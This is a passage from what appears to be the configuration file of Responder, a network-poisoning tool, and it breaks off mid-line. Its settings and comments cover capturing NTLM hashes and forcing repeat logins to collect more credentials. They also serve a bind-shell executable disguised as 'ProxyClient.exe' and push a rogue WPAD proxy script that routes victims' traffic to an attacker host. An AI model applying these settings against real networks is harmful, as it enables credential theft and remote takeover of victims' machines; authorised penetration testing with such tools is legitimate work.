48 | ; Specific NBT-NS/LLMNR names not to respond to (default = None)
49 | ; Example: DontRespondTo = NAC, IPS, IDS
50 | DontRespondToName = ISATAP
51 |
52 | ; If set to On, we will stop answering further requests from a host
53 | ; if a hash hash been previously captured for this host.
54 | AutoIgnoreAfterSuccess = Off
55 |
56 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries
57 | ; to authenticate for the first time to try to get different credentials.
58 | ; This may break file serving and is useful only for hash capture
59 | CaptureMultipleCredentials = Off
60 |
61 | ; If set to On, we will write to file all hashes captured from the same host.
62 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
63 | ; domain\popo, domain\zozo. Recommended value: On, capture everything.
64 | CaptureMultipleHashFromSameHost = Off
65 |
66 |
67 | [HTTP Server]
68 |
69 | ; Set to On to always serve the custom EXE
70 | Serve-Always = Off
71 |
72 | ; Set to On to replace any requested .exe with the custom EXE
73 | Serve-Exe = Off
74 |
75 | ; Set to On to serve the custom HTML if the URL does not contain .exe
76 | ; Set to Off to inject the 'HTMLToInject' in web pages instead
77 | Serve-Html = On
78 |
79 | ; Set to On to answer connection tests to "http://www.msftncsi.com/ncsi.txt" (Win 7, tested) and
80 | ; to "http://www.msftconnecttest.com/connecttest.txt" while serving the custom HTML (Serve-Html = on)
81 | Serve-Html-Simulate-Internet = On
82 |
83 | ; Set to On to answer connection tests to "http://*/wpad.dat" with custom 'WPADScript' or force auth
84 | ; on wpad.dat if '-F on' command line parameter is given
85 | Serve-Html-Provide-WPAD-anyway = On
86 |
87 | ; Custom HTML to serve
88 | HtmlFilename = /var/www/index.html
89 |
90 | ; Custom EXE File to serve
91 | ExeFilename = files/BindShell.exe
92 |
93 | ; Name of the downloaded .exe that the client will see
94 | ExeDownloadName = ProxyClient.exe
95 |
96 | ; Custom WPAD Script
97 | ; redirect to authtome:3128, failover direct
98 | WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || (host == "10.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY authtome:3128; DIRECT";}
99 |
100 | ; HTML answer to inject in HTTP responses (before